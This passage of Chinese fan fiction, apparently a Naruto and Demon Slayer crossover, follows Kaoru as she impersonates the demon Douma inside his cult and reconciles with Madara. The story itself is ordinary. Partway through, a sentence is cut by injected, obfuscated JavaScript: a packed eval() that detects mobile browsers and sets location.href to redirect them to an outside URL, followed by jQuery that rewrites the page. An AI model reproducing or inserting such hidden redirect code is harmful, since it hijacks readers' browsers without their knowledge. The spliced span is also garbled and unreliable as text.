24.恶鬼灭杀5 “不行，你得笑得温柔一点，你试试上次结盟会议时你弟弟那个表情？……眼神不对！不是放杀气！这样绝对不行，悲悯一点？”熏指挥着斑调整表情，但是披着童磨皮的斑怎么看怎么不对劲，最后熏崩溃地放弃，“太奇怪了！我来吧！” 斑觉得可行，于是解除了变身术，看着熏调整表情。 见熏笑得过于阳光，斑突然就明白了刚才熏的感受，面对熏问他如何的回答，陷入了诡异的沉默。 ——不亚于他看见千手扉间和千手其他族人谈话时哈哈大笑后的那种恶心感。 “……不用这么沉默吧？”熏问。 斑揉了揉额头，在心里告诉自己面前这个人是熏而不是那只鬼：“你试试之前对琴叶的那种表情。” 熏：“……你的描述虽然没什么问题，但我总觉得被冒犯了。” “那还是我来？”斑抬起手打算结印，被熏一把按住。 “别别别！你的表情也太恐怖了！还是我来！”熏秒变脸，酝酿了一下情绪后，抬起眼看向斑，露出一种悲天悯人般的神情，柔声开口，“如何？有兴趣加入极乐教吗？” 如果两个人扮演的童磨都是对对方眼睛的折磨，那么她必然要做折磨对方的那个人！ 斑：…… 不如何。 甚至想用个火遁。 最后熏来扮演童磨，两人回到之前战斗的地方捡走童磨的扇子，顶着童磨皮的熏带着斑前往了极乐教。 极乐教的教众众多，看见熏出现后都很惊讶：“教主今天怎么出来了？” 熏：？ 童磨难道还是个足不出户的宅鬼吗？之前看他打架的时候话那么密，不应该啊？ 熏暗道不好，打入邪/教的第一步难道就要就此夭折了吗？ 不过这些教众转眼就被跟着她一起回来的斑吸引了注意，询问起斑的情况。 熏展开扇子遮住大半张脸，轻轻叹息，一切尽在不言中。 于是教众们便明白这也是个被教主拯救的苦命人。 斑：…… 熏随机点了个教众，让他带斑去逛逛，又留下另一个教众问话。 对方极其信任童磨，即便熏表现出和童磨不相像的举动，对方也沉迷在对“教主”的迷信之下，几乎有问必答，更不用说熏还在有意诱导对方了。 “青色彼岸花？”听见对方愧疚地说起还是没有童磨一直寻找之物的下落，熏默默记下，而后叹息着说道，“这种珍奇之物，想要找到必定要经历艰苦的搜寻，不必如此愧疚。” 之后她又听教众说起童磨白天一般就在房中听取信徒的祷告，基本足不出户，休息时就不会来见教众，还说童磨对女孩子很温柔之类的话。 熏猜测童磨这个物种的鬼大概和传说中的吸血鬼差不多，不能见光，又在想要是这些鬼住的地方白天发生了诸如火灾之类的意外他们怎么办，转念一想能让他们致死的东西少之又少，估计躲在废墟里也一样——前提是他们真的见不了光。 等到对方把她带回平日里童磨聆听教徒祈祷的房间后，就有不少闻讯而来的教众排着队和熏告解起来。 熏：…… 她坐也不是站也不是，就保持着微笑听着他们的祷告，不知道该说什么，正寻思着这不是得学神父说点惯例的话，结果教众们抬头一见熏的表情，便感动地流下了眼泪，说着什么教主您笑得如此温柔原谅了我的罪过之类的话，接着又换下一个人，跟流水线一样。 熏大为震撼，原来极乐教的教主就是起这么一个类似雕像听信徒说话的作用，除此之外什么都不做就能被吃好喝好供起来吗？ 不是，童磨他凭什么啊！ 熏听着听着，就见人群中排了一个熟悉的人。 之前带着斑去逛的教众把斑带了过来，和斑一起排起了队。 熏痛苦地想要闭上眼睛，但其他教众还在，此时此刻她充分理解了什么叫忍者，什么叫忍者需要忍受的痛苦。 熏只能庆幸斑他们现在排在最后，轮到他们的时候其他教众走得也差不多了，不会剩多少。 熏如坐针毡，当看见那个熟悉的人坐在她面前后，熏还得强撑起嘴角注视着斑。 斑没说话，就这么看着熏，也没有和其他教众一样俯下身跪拜——让斑做这种动作也确实不可能。 突然的安静让排在外面的教众有些骚动，熏微微动了动扇子，用眼神示意斑快随便说点什么。 “教主，”斑说，“过去的我，有一个朋友。” 熏松了口气，也觉得熟悉，看来斑是打算像柱间一样给她说他们过去在南贺川边上交友在被双方父亲与弟弟拆散的故事。 “他喜欢上了一个不该喜欢上的人。”斑继续说道。 熏持扇的手僵住了。 原来“我”不是“我”，“朋友”才是“我”。 “两家是世仇，他们在不知道身份的情况下相恋，又在得知对方身份后恩断义绝，再不往来，”斑注视着熏的眼睛，“多年之后，两家出乎意料地和解了，但他喜欢的人大概早就不喜欢他了。” 熏握紧了扇子，斑还在继续说：“他该放弃吗？” 本该等待教主回答的人却没有要等答案的意思，直接起身离开。 熏呆在原地，有新的教众进来，她也没有什么表示，在教众连着两声“教主？”后才回过神。 心不在焉地听完教众们的告解后，又有人来和她说琴叶不见了，已经派人去找了。 “啊，这个啊，”熏微笑着看着她，“不用去找了，我送琴叶找到了以前的家人，她不会回来了。” 教众有些惊讶地睁大眼睛：“可是您似乎很喜欢她……” “嗯，但也只是喜欢，并不是不可或缺哦？不用劳累我可爱的教徒们做这样无关紧要的小事，”熏保持着笑容注视着教众的眼睛，“好了，不要再在意这件事了。” 眼前的教众在熏的花言巧语以及对童磨的敬仰下迷糊了一瞬，而后问熏：“好的。教主大人，您需要放松一下吗？” “嗯？当然可以，就和往常一样吧。”熏虽然这么说着，但还是拿不准童磨平时怎么打发时间。 教众的脸色出现为难之色：“但是琴叶已经……” “……啊，”熏顿了顿，垂眸说道，“小琴叶走了还有些不习惯呢，这样好了，我一个人待一会儿吧。” 等到极乐教教众离开，熏立刻翻找起这间屋子里有的信息。 原本只是想来搜刮一下战利品，但听说童磨在找一种叫青色彼岸花的东西后，熏就觉得这只鬼似乎不简单，还搞了个教派找东西。毕竟他此前也提到过他有一位“那位大人”，这东西说不定就是为另一只鬼找的。 “那位大人”也不知道是个什么样的鬼，怎么跟伏地魔一样，手下都不直接说名字的。 熏这一待就待到了晚上，也没人叫她吃饭，估计极乐教的人都觉得身为神子的童磨不吃饭是很正常的。 她打开门走出房门，守在门口的两名教众便问童磨需要召见谁，看起来很熟练了。 “……”行吧，看来这个点也是童磨的用餐时间。 熏摇摇头，作出神棍的姿态：“神明启示我，让我寻找一种叫作日轮刀的刀以及遍布藤花之地，带领众人前往幸福的世界。” 两名教众面面相觑，而后脸上出现狂喜：“神明的启示降临了吗？” 虽然心里已经被羞耻感淹没了，但熏仍然摆出一副万事都在掌握之中的姿态，矜持地点头：“嗯，最近就不要来打扰我了，神明还会与我沟通。” 熏看着兴高采烈离开的众人，想着这事该怎么收场，总不能找到日轮刀后就地解散极乐教吧。 按这群信徒对童磨的痴迷来看，童磨失踪或是极乐教直接解散，这些教众恐怕都会闹出大乱子。 只能走一步看一步，熏叹了口气，趁着周围没人变身成一个普通人，混进极乐教中去清点刚才在极乐教账簿中记录的财产。 东西肯定不能全拿走，拿走所需部分当作灭鬼的酬劳就行了，但剩下的财物也不能直接让这些教众们自由分配。 熏有点后悔了，光明正大地到这里来是有好处，却也劳心劳力，不如拿了东西就走。 等到更晚一些，熏回到童磨的住所后，斑来找她会和时，熏极力不去想白天斑对披着童磨皮的她所“祷告”的内容，问起斑打听到了什么。 斑也似乎像什么都没发生过一样，说起自己打听到的东西。 极乐教女性居多，人员流动不怎么大，保持在一定规模，过去也有一些教中女性失踪，不过童磨都以各种各样的理由解释了，不见的那些女性一般都是数个关系好的一起不见，其他人也不会太在意这些据说脱离教派的人的去向。 也难怪熏和教徒说琴叶离开后，他们都没有什么反应。 斑也提到极乐教的人都有去寻找青色彼岸花的任务，不过不久前熏把寻找日轮刀和布满藤花之地的任务发了下去，寻找青色彼岸花的优先级就被推后了。 两人交流完情报，斑微微皱眉：“太危险了。” 如果童磨确实是为在其他鬼寻找青色彼岸花，那么鬼之间是存在密切联系的。一旦对方发现童磨与他们失去联系，大概率会派鬼来探查。 熏微微一愣，没理解斑突然这么一句话的意思：“什么？” “你现在还没变回去吧？”斑问道，“这里是童磨的巢穴，他那些鬼族的同伴随时会来，这些鬼也能分清人类和同族，你现在的状态也不能吸收第二只鬼，你继续假扮童磨，会很危险。” “……没这么巧吧？”熏不确定起来，但她又联想起自己向来不怎么好的运气，脸色不定起来。 鬼能力的棘手点在于未知而多变，他们对这些鬼的能力一无所知，比如一开始时童磨打算用那些冰尘暗算斑。 和童磨的那一战看似赢得轻松，其实也算运气好，及时发现了童磨的暗算以及她的能力能克制童磨，否则至少要和童磨缠斗到天亮——假设天明真的是童磨的克星的话。 因此她和斑实际上并没有轻视这些鬼。 她和斑一开始来极乐教只是为了借用极乐教的人力来寻找和鬼相关的东西，从而找到可能与他们穿越有关的线索。 但如果牵扯过多，那就得不偿失。情报自己也可以搜寻，金钱也有方式获取，更何况他们现在已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036905|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在极乐教了。 最省事的方式就是拿了钱财离开，但两人都没有提出这个建议。 “之后我来……” “我用分身吧……” 斑和熏几乎同时说道。 熏顿了几秒，当即说道：“不行，如果又遇上像童磨那种暗算怎么办？你不能出事，出事了千手和宇智波的结盟就完了。” “维持长时间的分身需要大量查克拉，影分身消散会也感受到分身所感受到痛苦，”斑也理所当然地说道，“就算是用分身，也该让我来。” 熏几乎是脱口而出：“哪儿有什么该不该的，你不用这么……”照顾我。 没说完的话突然止住，白日里斑说起他们过去的神态突然就闯入熏的脑海。 那时的斑语气平静，好似真的在讲别人的故事，神情也冷冰冰的。 但与其说他最后那个问题是在提问，不如说他其实是在表明自己的态度。 那其实是个反问句。 ——我难道应该放弃吗？ 熏其实不明白为什么事到如今斑还没有放弃过去那段感情。以前柱间说他俩是朋友她还不太信，不能理解这两人是怎么玩到一块的，现在她倒有几分信了，这俩人的倔犟简直跟一个模子里刻出来的一样。 她以前看吸血鬼的故事，有些作者写吸血鬼在从人类转变成吸血鬼时感情会被永远凝固，如果那时候喜欢某个人，往后漫长的余生就会永远喜欢，恨也依旧。 熏觉得这设定在一定程度上很符合两族族长。斑和柱间明明也没变成吸血鬼，怎么在感情上就跟无论发生什么都跟经过一次吸血鬼转化一样——小时候做了一段时间朋友，就一直是朋友，哪怕在战场上把对方差点捅死也坚称对方是自己好朋友。 柱间学会无印治愈前被伤得最厉害的一次，扉间看着他大哥的伤眼眶都红了，眼泪包在眼睛里要掉不掉，就等着熏宣判死亡结果。 结果他大哥柱间还趁着他爸不在死死扯住扉间的手说什么“斑也是有苦衷的不要恨他，我死了也不要恨他，而且他也被我伤得很严重我们其实扯平了的，哥哥一直想找到远离战争的方法但是对不起哥哥没用可能要抛下你了”之类的话。 扉间当场被柱间刺激得说“大哥你要是死了我拼了我的命也要杀了宇智波斑给你报仇”。 而柱间也当场被弟弟的话刺激得学会了无印治愈，重伤即刻转治愈，还没高兴两秒，就被他弟狠狠揍了一拳。 事后扉间和熏说起这件事的时候语气带着万分不解和愤恨：“大哥他有病吧？宇智波斑是他弟还是我是他弟？” 熏那时候想她不懂这种友情，没想到柱间还是个这样的重男。后来两族真的结盟，两族族长坐一起喝酒毫不防备对方，她想没料到宇智波斑也是个这样的重男。 结果原来连谈恋爱也遵循这一原则吗？ 过去谈了一场恋爱，哪怕分手了这么多年还念念不忘，这又不是恋爱小说，怎么可能发生。 这还是千手和宇智波结盟了，那要是没结盟呢？ 宇智波族长这么大个人，总不会以后都不谈恋爱不结婚吧？ 往后总会有更合适的人，这世界上没有谁能陪谁一辈子的，也没有谁会离不开谁，战场上忍者的伴侣死掉痛苦欲绝的不少却也不妨碍忍族里再婚率高得可怕。 就连熏自己做梦梦到虾系后宫都会上手摸上一把呢。 虽然梦里的虾系后宫身材也眼熟得可怕。 但没有头就什么也不能代表！ 斑见熏微垂着头不知道在想什么，叹息着抬起手，轻抚熏的脸颊：“真要我说明白吗，熏？” 他在战场的总是情绪激昂的，和千手柱间打得你来我往互相比拼嗓门大小。 千手里传言宇智波斑天生情绪起伏大，在战场上如同魔星再世杀性根本止不住就有情绪的问题在里面，说还好有族长挡着这尊杀神。 扉间针对该谣言表示宇智波情绪丰沛，斑这情况很正常，就是他哥被宇智波斑这个对手带坏让人十分苦恼。 熏表示你哥情绪也一样起伏不定，这事不能赖宇智波，你家厨房那篮子蘑菇就是铁证。 她又想自己过去接触的宇智波斑不是这样的，也不知道宇智波是个什么样的地狱把好好一个斑变成现在这副狰狞模样，恐怕扉间放飞想象力的描述及不上真实的宇智波可怕程度的万分之一。 在战场上可以用战意盎然来形容、打架还爱开麦的宇智波斑此刻的语气却少有的平和，甚至连一丝攻击性都没有—— 不，还是有的，只是完美地被隐藏在了看似平静的语气之下。 “回到最开始吧，”斑说，“童磨偷袭我的时候，你为什么那么冲动？” 熏条件反射般地给出答案：“因为你是两族结盟的重要人物，你不能出意外，我得保护你，就像你之前救我一样，换成扉间你依旧会救他。” 斑冷笑一声：“那一击又死不了，我管千手扉间干什么？” 熏：…… 她梗着脖子反驳：“你在说气话，我不信，傲娇的话得反着听。” 宇智波斑被气笑了。 千手熏就这么在意千手扉间？ 25.恶鬼灭杀6 “闯进我房间？”斑又问。 熏：…… 这事确实是她理亏，她支支吾吾了半天，才道：“醉酒的人，做什么都不足为奇。” 见斑高高扬起眉，熏也不顾什么身份之别，生怕他再说出什么她没办法解释的话，提高声音先发制人：“我醉成那样都能一路畅通无阻地进到你的房间，实在是你们宇智波的防守真的不行！” 实际上，熏其实猜到自己怎么会莫名其妙跑到斑那里去，和酒有关系，但也和她自己有关系——她很久没有吸食过旁人的气了。 正常情况下，吸食旁人的气并不是必须的。需要吸食气的时候，一般是受伤后或者是主动选择进入狂化状态战斗后，但也不能过多摄入，过多吸食旁人的气就容易失控。 扉间当初提议让她调去医忍部队，也有防止她失控的考量在内。 每个人的气不同，味道也不尽相同，忍者的气较普通人更为浓郁也更易饱腹。 桃华的气是带着点冷冽的甜香，像几年前的冬天她们在雪地里从桃树下挖出来的那坛酒的味道。 扉间的气一开始没味道，但回味带着些烧喉咙的辣，熏觉得有点类似芥末的感觉，等她把自己的比喻告诉扉间后扉间让她闭嘴别说得这么详细，说感觉自己被她骚扰了。桃华在一边搭腔说别理他，他只是因为自己的气是这个味道迁怒。 柱间的气和斑的气则带着股更为醇厚的感觉，在熏的“味觉”感知中可以说是相当丰盛的大餐，蕴含的能量极为丰盛，不需要太多就能恢复她所损耗的能量，但“味觉”上的区别也很大。 柱间的气带着股草木的气息，有点类似营养餐的感觉，熏猜测这和木遁有些关系。在过去不知道斑是宇智波时吸食的斑的气则带着股烈酒的感觉，又混杂了些许甜味，极为复杂，让人上瘾又难以替代。 熏在千手就没遇到过味道相似的气。 她本来也不是多饮之人。因为自身能力的特殊性，熏在族中向来克制，生怕自己真的喝多了对族人做出不可挽回之事，即便是去找桃华喝酒，酒也只是用来佐餐之物，她往往只喝几盏。 结盟那天是当真放松了警惕，贪杯多喝了些，想着柱间他们都在出不了什么乱子，有了醉意后她也知道自己这种状况不能在人堆里多待就离席了……然后就被斑的气吸引了过去。 说实在的，压抑久了的人谁不想放纵一下，至于半醉半醒之间她居然真的找到了宇智波斑还一通冒犯……她没真的失控吸食对方的气已经很克制了！ “和防守没关系，我让他们离开了。”斑说。 熏的表情空白了一瞬。 斑继续道：“我早就说过，我以为你是想和我说些什么。 “既然你没有要和我说的，那就我来说——” 熏抓住斑的手腕，用力地将他的手从自己的脸颊边挪开，想要制止斑继续说下去：“你怎么能做出好像什么都没发生过的样子？就算结盟了，但你也是宇智波。” 宇智波与千手，手中没少沾染对方族人的血。 她能理解斑和柱间多年好友与宿敌和解后相处融洽，但她自己过不了心里那一关。 当初和宇智波斑分别之后不久，她就在战场上遇到了宇智波。 就在占据上风的她将要像往常在战场上那样斩杀敌人的时候，她突然想起夜樱下说着这个糟糕世界的“志叶”，也想起和她相处不多的宇智波芽衣。 就那么不到一秒的犹豫间隙，面前的宇智波直接一刀捅穿了她的身体，如果不是桃华在一旁对对方补了一刀，她现在已经下地狱了。 扉间把剩余的敌人清扫完毕，桃华扶着失血过多的她让她再撑一撑，要送她去找医忍。 熏看着自己身上的伤口突然想明白了，战场就是这样容不得多余的感情，想要活下去就得舍去一切，就像她以前那样。 于是她让桃华把她带到那个还没彻底咽气的宇智波身边——或许是已经咽气，但他的气还没有消散。 她拔掉身上的刀，血直接涌出来，熏没有理会桃华的惊呼，为了活下去而主动吸食了敌人的气。 血慢慢止住，伤口也愈合了大半，没了生命危险。 不知传承自何人的能力救了她一命，却也让眼前敌人的尸体转瞬变得如同干尸一般。熏跪在那个宇智波身边阖上了他的眼睛，然后抬起头看向被眼前一幕震住的桃华与刀上还滴着血的扉间：“要告诉别人吗？” 似乎是因为恐惧，桃华还在颤抖的手抱住了熏，对她说：“没关系，只要还活着就好，没关系的，熏。” 而扉间只是说先回去，让医忍彻底检查一遍。 等到医忍离去，扉间克制着让桃华先出去，然后彻底爆发：“千手熏，想死你就直说，不必这么大费周章地来战场送死，我可以帮你！你刚才在犹豫什么？对宇智波心软？我确实不知道你之前在任务里到底遇上了什么，但要是你还是这样没做好杀敌的准备，要么就滚回去别连累其他人，要么就……” 扉间的话没说完，被见状不妙桃华搬来的救兵捂住了嘴拖了出去。 柱间一边拉着他弟出营帐，一边给桃华使眼色，然后对熏打着圆场：“扉间他只是太着急了，熏你别在意，我带他去冷静一下，桃华你看着点熏……” 等到两兄弟离开，桃华才坐到熏身边，沉默半天才说：“我们约好了的，等你生日的时候喝酒。” 熏当即红了眼眶，抱住桃华狠狠哭出了声，却也无法解释。 她是把那个宇智波当作了敌人的，但下手的瞬间，她也突然意识到，这是喜欢之人的族人，这个人或许和斑笑闹过，也或许和斑起过争执，但无论如何，他们的关系远比她和斑亲近。 但当她想要活下来，吸食了那个宇智波还未散尽的气时，熏就明白自己已经亲手斩断了和斑的联系。 哪有真正和平的分手，这还不如当初和宇智波斑打上一场，千手和宇智波是毋庸置疑的敌人，不可能再有其他关系。 宇智波斑杀了不少千手。 她也杀了不少宇智波。 两族结盟也回不到过去了。 宇智波斑盯着熏，突然露出了个一个让熏顿觉不妙的笑容：“当作什么都没发生的，是你还差不多。 “你真的觉得，即便是梦，我也会相信泉奈会说出那种话？” 那是发生在扉间重伤了泉奈后的事。 战争以千手占据优势短暂停歇，柱间没有下令追击，而是就地将宇智波一族的俘虏收编，安营扎寨，派忍兽送去了停战书。 战局优势在千手，柱间脸上却不见喜意。他们两兄弟在主帐中吵着老生常谈的话题，扉间没法说服他哥乘胜追击，怒气冲冲地掀开营帐走了出来，见到等在外面的熏愣了一下。 熏向扉间展示了一下手中整理好的死伤人员名单，问他：“柱间现在有时间？” 扉间点头，又道：“正好，你也说说大哥，让他清醒一下。” “你这明显是在为难我嘛，”熏歪了歪头，“你都说不动，我才不掺和。” 说完她掀开帘子走进去，听见他们交谈声的柱间已经调整好自己的状态，正襟危坐地问熏什么事。 熏把文书资料递过去，汇报起战后伤亡及俘虏的情况，见柱间的神态越发沉凝，便问他在担心什么。 “我在想泉奈。”柱间说。 “重伤他是件好事，这样一来宇智波就……柱间，你那是什么表情？”熏问他。 柱间的脸上还残存着几分听见她话后的不可思议，而后他显得有几分沮丧：“……但泉奈也是斑的弟弟。” “扉间也是你的弟弟，”熏也叹了口气，她坐到柱间对面，认真地看着他，“两族互相争斗，这是必然发生的事，不是这一次，也会是下一次，至少重伤的不是扉间。” 柱间烦躁地抓了抓脑袋：“我不是说扉间不该这样做的意思……只是泉奈……这样的话，战争真的还会有结束的一天吗？斑不会原谅伤害他弟弟的人，明明我们过去都希望能够停止战争……我实在不知道该怎么办了。” “……”熏看着柱间苦恼的样子，沉默了许久，才道，“停战书已经送了过去，宇智波斑的选择我们无从插手，担心也无济于事。” 柱间小心翼翼地看着面上毫无变动的熏：“你……你真的没关系吗？” “什么没关系？”熏有些莫名。 柱间连忙收起自己表情摇头：“没什么！没什么！啊，刚才扉间很生气吧，你帮我劝劝他吧？” “自己惹生气的弟弟自己劝。”熏离开前冷酷地拒绝了柱间的请求。 虽然面上什么都没泄露出来，但晚上熏却迟迟无法入睡，不断想着柱间的话。 什么战争无法停止，什么斑不会原谅伤害自己弟弟的人，什么他们过去都希望停止战争。 熏也想起过去“志叶”为弟弟买的那一大盒菓子，想起他说过她再出现在他的梦中会毫不犹豫地杀了她。 过去她没有心思想入梦的事，后来她也不再去想这些，因为战场上的宇智波斑……实在太不像她过去的恋人了。 但那天熏却突发奇想，如果……她假扮成泉奈，入梦让斑同意结盟呢？ 这个念头一出现，便一发不可制止。 明明扉间说过很多次，她入梦的本质其实是灵魂出窍，入梦对术者本人也是一种极为危险的事。 “听说有个忍族代代相传一种名为灵化术的秘术，不是狂热热爱战斗的辉夜……你的血脉或许也可能出自这一家？”扉间还这么分析过她不合常理的能力的来源。 熏不知道那时候的自己是怎么想的，明明宇智波斑的警告在前，她依旧试了。 只是连着几天都无法成功入梦，熏也因为折腾这事没睡好，白日里看起来憔悴了不少，被桃华看出了端倪——之所以扉间没看出来，是因为她特意避开了扉间。 好不容易打消桃华的怀疑，她觉得确实不能再这么下去了，白天的工作也会被耽误，便打算休息一下，打了个盹的功夫，反射性地尝试入梦，忽然就成功了。 进入梦境的熏愣了一下，立刻化作了泉奈的模样，紧接着看到了盘膝坐在不远处檐廊下的斑。 梦中的他依旧一副睡着的样子，他身后的房间门开着，露出了躺在房中的人。 熏脸色一变，趁着斑的警惕不高，变幻了梦境，随着房中变空，熏才走了过去。 “泉奈！”这动静使斑猛地惊醒，抬头看了过来。 熏顿了顿，她没见过其他时候的宇智波泉奈，战 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似乎是面对旁人的关心有些局促。 熏这么想着，打算进入正题：“哥哥有考虑过和千手结盟吗？” “你不是最讨厌这件事吗？”斑反问。 “因为现在是哥哥的梦吧，我也不是真的我，”熏说道，“千手的医忍很厉害，答应的话，或许能治好我。” “是吗？” “而且，这也是哥哥以前的梦想……千手柱间也不会放弃吧，会一直送信过来，不答应就会没完没了。” “……” “哥哥？” “结盟吗，我会好好想想的……我该醒了。” 熏被推出了梦境。 “……所以，那时候你就知道是我了。”熏脸色有些发白。 斑沉沉嗯了声：“泉奈不会说这种话，我也不会梦到这样的泉奈。 “无视我的警告进入我的梦中，你只是为了让我答应结盟……为了柱间吗？” 再这么被一一问下去，熏有些受不了了，生怕自己会给出不该给出的答案，而且他们的姿势距离也太近了。 熏深深吸了一口气：“对啊柱间是我的族长我以前就说过他是个很好的人，我为什么不能为了他！” “主动提起医忍……” “就算是提起医忍也没让你提我，被叫去宇智波让我苦恼了很久！” “你到底在在意什么？” “这话我应该问你才对，既然要分手就该断个干干净净，结盟又不是复合，这么多年过去什么都不一样了，我早就不再——” “我依旧喜欢你。”斑说道。 突兀的表白中断了熏发泄般的攻击性言语，她呆呆地看着斑，突然说不出话。 不是白日里面对“童磨”时模棱两可的话，而是更为精准的、表达情感的话。 “和宇智波千手都没有关系，你还喜欢我吗？”斑问她。 “关系大了去了！” 熏想说他根本不知道她做过什么，她早就和以前不一样了，却什么也说不出来，只说道：“怎么可能没有关系？” 宇智波斑置若罔闻，他由着熏抓着自己的手腕，垂眸看着依旧保持着变身术的她。 就好像很多年前为了向认识自己的人隐瞒身份，变成黑发的她一样，此刻的熏也变得十分普通，但那双眼睛—— 始终没有变过，盛满了被感情困扰的不安与退缩。 明明一开始，主动的是她，教会他如何爱一个人的也是她。 斑另一只手按在熏的肩上，没怎么用力：“说不出来也没有关系。” 他的声音十分平静：“讨厌——不喜欢的话，就推开我好了。” 斑垂下头，轻轻覆上了熏微微颤抖着的唇。 从一开始，他们的感情就和家族没有关系。 眼前的人似乎从来不会动摇，即便是现在，也坚定得可怕。 熏觉得完了，宇智波的族长怎么能喜欢上一个千手呢，她一个千手又怎么能被一个宇智波亲吻呢？ 但明明自己随时可以推开宇智波斑，她却什么都没有做，甚至还松开了抓住斑的那只手。 房内的灯光映照在琉璃饰品上，折射出犹如万花筒镜一般光怪陆离的光，熏犹如受到刺激般反射性地闭上双眼，唇舌间的感受却更为明晰。 她迫切地想要抓住什么，但是又觉得不应该去抓斑，也无法伸手推开他，奇怪而焦虑的感觉自她的心中盈满溢出，化作从眼中渗出的泪水。 斑的动作微顿，而后退开，正要说话，房间外传来脚步声，有人停在了门前：“教主大人，有消息了。” 熏骤然回过神，连忙推开斑就要说话，被斑捂住唇往后拽，手中被写下多年前编写的密文。 她后知后觉两人一开始讨论的话题其实并没有讨论出个结果，正要用变身术先下手为强结束他们没讨论出来的话题，就见斑直接一个分身术和变身术变出了一个童磨，她则被斑拉到了房间深处。 熏愤怒地扒拉开斑的手，正要说话，就听见外面传来开门的声音，极乐教教徒走进房间说道：“教主大人，有日轮刀的消息了。” 26.恶鬼灭杀7 明明是才交下去的任务，能这么快有消息，还是因为童磨的教徒里有消息灵通之人。 极乐教人数有百余人，其中常住在极乐教的人口不少，这么多人的日常生活是一大笔开支，需要有人提供允许和支持，因此童磨的教徒里也有少部分快要没落的华族和新近兴起的有钱商人。 带来日轮刀消息的就是一名出身华族的教徒。不久前当地警方逮捕了一名公然持剑的年轻人，警方收缴了那名年轻人身上所佩戴的据说名为日轮刀的刀具，后来有一个颇有势力的神官家族出面将那名年轻人保释了出来。 这名教徒的家人在当地警方供职，将这事和家人当作饭后闲谈说了。现在“童磨”要找日轮刀，这名教徒瞬间想起此事，半点没耽误就把消息传了回来。 神官会清扫恶鬼似乎是理所当然的。熏注意到教徒提到的神官家族，估摸着这事准了，可以去探探这个神官家族。 不过传来消息的人也不知道这个所谓的神官家族究竟是哪一家，要打听具体消息还得等一段时间，这就有些令人难受了。 但对方还带来了一个消息。 邻县有座山脚种满藤花的山，名为藤袭山，听说是旁人私产，许久没有变更过主人，外人不能轻易踏足，这还是这名教众昔日家族还未没落时听其他知晓内情的华族偶然提起的。 等到汇报消息完毕的教众离开，房中又陷入了寂静。 外面的分身嘭的一声解除，熏不自在地动了动，身后将她环在怀中的斑身上似乎热得灼人，脑后枕着的胸膛呼吸间的起伏无比清晰。 斑偏硬质感的茂密黑发自她身侧披散垂下，一部分落到她的脖颈间，刺挠得颈间发痒。 “你是不是该松手了。”熏碰了下围在自己腰间的手臂，觉得这个角落的空气实在不太新鲜，让她有些呼吸不过来。 斑的头发怎么这么多，热得她有点难受。 “明天还要去藤袭山打探消息。”熏又道。 一直沉默不语的斑这才缓缓松开她，熏刚松了口气，起身就要往边上拉开距离，就听斑突然补上一句：“瑠花。” 被舍去多年的假名突然再次被唯一知晓的人唤出，熏愣了一下，侧过头看斑。 她的腿侧甚至还因为刚才的动作紧紧贴着斑的膝盖，极乐教提供的织物风格统一，融洽地堆叠在一起，相互交融。 熏半直起身，单手虚虚撑在地上正打算起身，此刻要比坐在角落处的斑小小高出半个头，这个视角看过去他的大半张脸都藏在头发后。 族里总有人说宇智波斑那张脸看着就阴沉。 熏觉得也是，明明头发后的那张脸很能打，放现代的话就算是反派也高低能因为那张脸吸粉无数，真不知道这些年斑留着这么长的刘海吓人是怎么想的。 “志叶”的时候多好看啊。 大概是那句“瑠花”实在是太过遥远的记忆，以至于再次听见时，熏都有些忘记了彼此的身份。 她伸出手拨开遮住斑右眼的长发，突然想起很多年前在网上看过的“眼睛不需要的话可以捐给需要的人”，没忍住笑了一下，而后在宇智波斑有些不适地微微转头时也道：“志叶。” 斑愣了一下，而后嗯了一声。 熏心想就这样吧。 她贴近斑的额头：“其实现在很像我们以前的情形。” 只有两个人，没有家族，只是简简单单的瑠花和志叶。 感情在没有其他外力介入的时候当然纯粹无比，当其它东西牵扯进来的时候一切就复杂了起来。 “你就当我现在是瑠花好了。”熏低声说着，轻轻地碰到了斑的唇。 回去之前，都是瑠花。 千手熏不能做的事，瑠花能做。 斑伸手揽住了熏的背，任由熏颤抖着眼睫温柔啄吻着。 斑想起当初那截回报任务的路上，他们还在山林间走着小路，光明正大地用着自己的样貌。 那是某一个快要日落的黄昏。 少女挽起衣角，踩在清澈的溪水里，弯下身去捉河鱼。 溪水奔腾而去，熏没有隐藏起来的金发在夕阳间闪着柔和的光。 他站在河边看着，目光迟迟难以从对方身上挪开，却什么都没表现出来，问她：“瑠花，直接用忍术不是更方便？” 熏回头看他，歪了歪头，似乎在想着什么。 “志叶，你就没有抛下忍者有关的东西单纯地玩闹过吗？”熏问他。 斑心想他和柱间在南贺川边上玩的时候可比这刺激多了，手里剑术打水漂，水遁打水仗，控制查克拉登山比赛，哪样不比这么傻傻地站在河里抓鱼好玩。 熏见状向他的方向走了几步，弯下身鞠起一捧清澈的水向他泼来，而后站起身笑吟吟地看着他：“志叶，你的童年也太无趣了。” 小小一捧水花，其实并没有沾到他太多，但那点撒到他身上的水珠却像是唤醒了他体内不知名的东西一样。 他也跟着走进河中，板着张脸将水泼了回去，脸上却也在不知不觉间露出了几分笑。 最后两人身上都湿透了站在河里，熏搂住他脖子，头埋在他怀中笑个不停。 斑问她在笑什么，熏才慢慢止住了笑，扬起脑袋看他：“志叶你也太正经了，我骗你的啦，好玩是其次，更主要的是我还没学水遁，你居然真的信了。” 笑意盈盈的少女双手撑着他的肩，轻轻吻了下他的嘴角，话锋又一转：“不过这样的志叶，我也很喜欢。” 斑抱着怀中的少女，心中并没有被欺瞒的不快。相反，一种涨满般的情绪鼓动在心间，让他想要用力、更用力地抱紧少女——永远都不放开手更好。 而后，他勾起唇笑了笑，语气平静：“但这样玩闹，也确实不错。” 熏似乎看呆了，而后挣扎着脱开他的怀抱。 被溪水打湿有些凉意的手牵住他的，熏拉着他往岸上走，嘟囔着拉长声音：“你这人怎么半点生气都不带的，衣服可是都湿了欸，快点去把衣服烤干啦——” 